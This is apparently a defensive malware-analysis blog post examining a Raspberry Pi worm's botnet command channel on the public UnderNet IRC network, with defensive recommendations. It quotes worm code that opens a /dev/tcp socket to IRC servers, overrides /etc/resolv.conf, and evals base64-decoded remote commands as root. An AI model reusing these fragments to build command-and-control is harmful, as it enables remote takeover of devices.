LSN โ€” Local Sovereign Network

The Channel: A Botnet That Lives in Someone Else's House

The Raspberry Worm โ€” Part 3

Classification: HIGH ยท Confidence: HIGH (first-party sample analysis)

Part 1 read the worm's code. Part 2 watched its brood spread across the estate. This letter follows the third thread โ€” the one that answers who is in charge โ€” by tracing the command channel home. The obvious expectation, after two letters about a self-propagating criminal worm, is that the trail leads to criminal infrastructure: a rented bulletproof server, a fast-flux domain, a control panel on some grey host of the kind the companion Recidivists series spent nine letters mapping. It does not. It leads somewhere far more interesting, and far harder to kill: it leads to a public IRC network that has been running, entirely legitimately, since the 1990s.

The worm does not own its command-and-control. It borrows it. And the specific way it borrows it is the whole subject of this letter, because it is the difference between a botnet you can decapitate and one you cannot.

The command channel, read from the bytes

Every letter in this series has insisted on first-party evidence, and the C2 is no exception โ€” it is spelled out in the script, in an array the worm defines before it connects:

arr[0]="ix1.undernet.org"
arr[1]="ix2.undernet.org"
arr[2]="Ashburn.Va.Us.UnderNet.org"
arr[3]="Bucharest.RO.EU.Undernet.Org"
arr[4]="Budapest.HU.EU.UnderNet.org"
arr[5]="Chicago.IL.US.Undernet.org"
rand=$[$RANDOM % 6]
svr=${arr[$rand]}
eval 'exec 3<>/dev/tcp/$svr/6667;'
eval 'printf "USER user 8 * :IRC hi\r\n" >&3;'

There is no hidden C2 server. Every one of those six hostnames belongs to UnderNet โ€” one of the oldest and largest public IRC networks in the world, a volunteer-run service that has carried legitimate chat traffic for three decades. ix1 and ix2.undernet.org are UnderNet's own round-robin entry points; Ashburn, Bucharest, Budapest, and Chicago are named UnderNet servers on three continents. The worm picks one at random, opens a raw TCP socket to it on port 6667 โ€” the standard IRC port โ€” registers as an ordinary client, and joins the channel #biret. That channel, on that public network, is the botnet's entire command-and-control. The operator sits in #biret, the bots sit in #biret, and orders pass as channel messages on infrastructure neither side owns.

This is not a novel trick โ€” it is the oldest one in the book, and that is precisely why it works. IRC-based botnets predate the web's malware economy; the Kaiten and Tsunami families were doing exactly this on public IRC in the early 2000s, and the technique survived because it was never really solved. What the first-party bytes give us here is not the discovery of the technique but the confirmation of this worm's use of it: the exact network, the exact channel, the exact resilience design.

Why live in someone else's house

The strategic logic of parasitizing a public IRC network is worth drawing out, because it inverts almost every assumption a defender brings from chasing web-based infrastructure.

It cannot be sinkholed. The companion series' entire supply-side investigation rested on the fact that criminal infrastructure has an owner you can pressure โ€” a registrar, a host, an abuse contact, a BGP upstream. UnderNet has none of that exposure to the operator, because the operator does not own it. You cannot seize ix1.undernet.org; it is a legitimate service with millions of legitimate users. You cannot null-route it without collateral. The parent worm this variant forked from ran its C2 on bins.deutschland-zahlung.eu โ€” a domain that could be, and was, sinkholed, which is why the fork abandoned it. This variant learned the lesson: put your control channel somewhere no one can take from you because it was never yours to begin with.

It is self-resilient by borrowing. The six-server array is not the operator's redundancy โ€” it is UnderNet's redundancy, inherited for free. UnderNet load-balances its users across dozens of servers worldwide; the worm simply picks one at random each time, so if Chicago is unreachable the next infected boot lands on Budapest or Bucharest, and the botnet reconverges in #biret regardless of which door each bot came through. The operator wrote seven lines of bash and inherited a globally-distributed, professionally-operated, high-availability control plane. It is the same borrowed-authority economics the Recidivists' final letter found in crawler-identity theft: the cheapest way to look robust is to stand inside someone else's robustness.

It blends in. A bot connecting to undernet.org on port 6667 looks, to most network monitoring, like a person using IRC โ€” an unusual thing in 2026, but not an alarming one, and certainly not the screaming signal that a beacon to a freshly-registered bulletproof domain would be. The malicious traffic hides inside a category of legitimate traffic that still, barely, exists.

The cost of all this borrowing is a single dependency: the operator is a guest, and a guest can be evicted. That is the one lever a defender has, and this letter returns to it at the end.

The worm guarantees its own DNS

There is a one-line clause near the connection logic that is easy to overlook and neatly completes the resilience picture:

echo "nameserver 8.8.8.8" >> /etc/resolv.conf

Before it reaches for undernet.org, the worm writes Google's public DNS resolver into the victim's /etc/resolv.conf. The reason is purely operational: to connect to a named server it must first resolve the name, and a compromised Pi behind a broken, misconfigured, or deliberately filtering local resolver might fail to look undernet.org up. By appending a known-good public resolver, the worm guarantees it can always turn its server names into addresses, regardless of what the victim's network administrator did to the local DNS. It is a small clause with a large implication: a defender who tries to blackhole the C2 at the DNS layer โ€” returning NXDOMAIN for undernet.org on the local resolver โ€” is simply bypassed, because the worm brought its own resolver and no longer asks the local one. The design anticipates DNS-based defence and routes around it in a single line. Combined with the six-server round-robin and the public-network C2, it means the only layer at which the channel can be reliably cut is the one the final section returns to: the raw TCP egress itself.

The operator's key, captured

Living in a public channel creates an obvious problem: #biret is open, anyone can join it, and anyone who does could shout commands at the bots. Part 2 established that this worm solves that with cryptography, and Part 3 can now name the exact key it uses, because the worm carries the operator's public half in plaintext and drops it to every victim as /tmp/public.pem:

-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC/ihTe2DLmG9huBi9DsCJ90MJs
glv7y530TWw2UqNtKjPPA1QXvNsWdiLpTzyvk8mv6ObWBF8hHzvyhJGCadl0v3HW
rXneU1DK+7iLRnkI4PRYYbdfwp92nRza00JUR7P4pghG5SnRK+R/579vIiy+1oAF
WRq+Z8HYMvPlgSRA3wIDAQAB
-----END PUBLIC KEY-----

It is a 1024-bit RSA public key โ€” weak by modern standards for secrecy, but secrecy is not its job. Its job is authentication. Every command that arrives in #biret is signed with the operator's private key and verified by each bot against this public key before it will run. The channel can be as public as it likes; only the holder of the matching private key can issue an order the brood obeys. A researcher, a rival, or a defender can sit in #biret and type all day, and every bot will silently discard the unsigned noise.

That key is the single most valuable artifact in this letter, because unlike an IP or a domain it is durable and operator-bound. IPs rotate, domains get abandoned, the channel name could change tomorrow โ€” but the RSA keypair is the operator's identity to the botnet, and re-keying means re-deploying to every bot. Its fingerprint is therefore a cross-campaign correlator: any other sample, from any other perimeter, that ships this same public key is commanded by the same hand. Where the Recidivists series learned to distrust shared artifacts as weak attribution โ€” a shared OTX pulse, a shared cloud ASN โ€” a shared command-signing key is the opposite: it is one of the strongest operator signatures malware offers, because it is not incidental co-location but the literal cryptographic root of the botnet's authority. This key is the thread that, pulled, connects every instance of this operator's brood wherever it surfaces.

What a signed command can do

It is worth being concrete about what the authenticated channel actually grants, because the cryptography can make the mechanism sound more contained than its consequences are. When a signed message passes verification, the bot does exactly this with it:

CMD=`echo $privmsg_data | base64 -d -i`
...eval "$CMD"...

The verified payload is base64-decoded and handed to eval โ€” the shell's execute-anything primitive โ€” running with whatever privilege the bot holds, which Part 2 established is root, by boot. There is no command set, no menu of supported operations, no restraint of any kind: the operator types a base64-wrapped shell command into #biret, signs it, and every bot in the channel runs it as root and returns the output over the same channel. The IRC channel is not a control panel with buttons; it is a remote root shell on every infected machine simultaneously, gated only by a signature.

That generality is the point and the danger. The same worm that today plants a backdoor key and hunts more Pis can, on the next signed line, be told to do anything its authors decide is profitable: enlist every bot in a distributed denial-of-service flood, drop and run a cryptominer, exfiltrate whatever the compromised host can see, pivot into the local network the Pi sits on, or wipe the device on the way out. The competitor-killing of Part 2 โ€” the killall of rival miners โ€” is a hint at where the value lies, but the architecture commits to nothing and forecloses nothing. A botnet that is a synchronized root shell across an unknown number of machines is a general-purpose weapon whose current use is the least interesting thing about it; what it could be turned to on any given day is set entirely by one person holding one private key. This is why the key of the previous section matters so much, and why the channel that carries its orders is worth the trouble of cutting.

The Bucharest node, and a note on proximity

One entry in the server array deserves a moment, because of where this particular honeypot sits. arr[3]="Bucharest.RO.EU.Undernet.Org" is UnderNet's Romanian server โ€” and this estate is in Iaศ™i, Romania. There is no evidence the operator targeted Romania; the array is a generic list of UnderNet's European and US nodes, shipped identically to every victim worldwide, and $RANDOM % 6 chooses among them without geographic intent. But the mechanical consequence is worth stating plainly: a compromised Pi in Romania that rolls a 3 will rendezvous with the rest of the global brood through a server a few hundred kilometres away, its botnet traffic indistinguishable from a local user idling on Romanian IRC. The worm's indifference to geography is exactly what makes it fit in everywhere โ€” it carries the whole world's UnderNet servers and lets chance pick the one that happens to look most local. Proximity here is not targeting; it is camouflage that the victim's own geography provides for free.

The brood has been arriving for four months

The command channel is where the botnet converges; the honeypot's sample ledger is where its persistence over time is measured, and the number is sobering. The canonical authorized_keys backdoor this worm plants โ€” the 389-byte key of Part 2 โ€” was first retained on 2026-03-31 and was still arriving on 2026-07-22, the day these letters were written. That is nearly four unbroken months of the same implant, delivered 105 times from 98 distinct hosts, every one of them an instance of the brood reaching into this single perimeter and depositing the same backdoor. The channel is not a historical curiosity being autopsied; it is a live rendezvous that has been gathering bots, through this honeypot's narrow window and countless others, since spring.

That longevity is the direct payoff of the borrowed-infrastructure design. A worm whose C2 sat on rented criminal infrastructure would have flickered as domains were sinkholed and hosts were pulled โ€” the Recidivists series is full of such infrastructure being mapped and burned. This one has run steadily for a third of a year because there is nothing to burn: UnderNet keeps running, #biret keeps existing, and every newly-compromised Pi finds its way home to a channel that no takedown has touched, because no single party has both the standing and the reach to touch it.

What a defender actually does about it

The parasitic design closes off the usual responses and opens one specific door, and honesty about which is which is the practical point of this letter.

What does not work: sinkholing, seizure, and BGP null-routing โ€” the standard infrastructure takedowns โ€” are all off the table, because the target is a legitimate network with legitimate users and no operator-owned chokepoint. Distrusting the C2's reputation, the move that catches web beacons, fails too: undernet.org has a thirty-year clean reputation, correctly.

What works, locally and immediately: block outbound IRC. Almost no modern production network has a legitimate need for its hosts โ€” least of all its Raspberry Pis โ€” to open port 6667 to undernet.org. An egress rule dropping outbound 6667 severs every bot on the protected network from #biret at once, no matter which of the six servers it rolls, and it is the single highest-value control against this entire family. A bot that cannot reach its channel is an implant that cannot be commanded.

What works, collaboratively: report #biret to UnderNet itself. The one lever the borrowed-house design leaves exposed is that the guest can be evicted by the landlord. UnderNet runs abuse and network-operations teams; a channel functioning as botnet C2 is a violation they can act on โ€” monitoring it, G:line-ing the bots, or killing the channel. That does not require seizing anything; it requires the network's own operators enforcing their own rules against a parasite. The channel name is the actionable indicator, and handing it to the people who own the house is the collaborative half of the response the local egress rule cannot achieve alone.

What holds, and what is bounded

What holds, first-party: the C2 network (UnderNet), the six-server round-robin array, the channel (#biret), the port (6667), the client registration string, and the operator's 1024-bit RSA command-signing public key โ€” all read directly from the retained sample, in two independent captures a week apart that carry the identical values. The four-month persistence of the backdoor implant is a count from the honeypot's own retained-sample ledger, not an inference.

What is deliberately not done: this letter does not join #biret to enumerate the live brood. Counting the bots currently in the channel would mean connecting to a live criminal command channel and interacting with it, and the discipline of defensive work draws the line there โ€” passive first-party analysis of a captured sample is one thing; participating in an active C2, even to observe, is another, and it risks both tipping the operator and implicating the observer's address. The population of #biret at any given moment is therefore a bounded unknown, correctly left unmeasured, and handed instead to UnderNet's operators, who can look inside their own house without that hazard.

What is not claimed: any named operator. The RSA public key is the operator's cryptographic fingerprint and the strongest correlator this investigation has, but it is pseudonymous โ€” it identifies the same hand across samples, not a person. Attribution of the human behind the private key is a thread for the entity graph and for whatever other perimeters hold samples bearing this key; it is not concluded here.

Core IOCs

Cross-references

The worm's cleverest decision was to own nothing. It rents its spread from the world's unchanged default passwords, rents its command channel from a thirty-year-old volunteer IRC network, and rents its resilience from that network's own global redundancy โ€” holding, of its own, only a single RSA private key and a channel name. That is the whole architecture of a botnet built to survive: possess nothing that can be seized, and the only way to reach it is to knock on the door of the house it is squatting in, and ask the owner to put it out.

โš  Personal capacity. Research published independently โ€” not reflecting employer views. Derived from passive observation of attacks against personal infrastructure. Full disclaimer โ†’
โ† Previous The Raspberry Worm โ€” 3 / 10 Next โ†’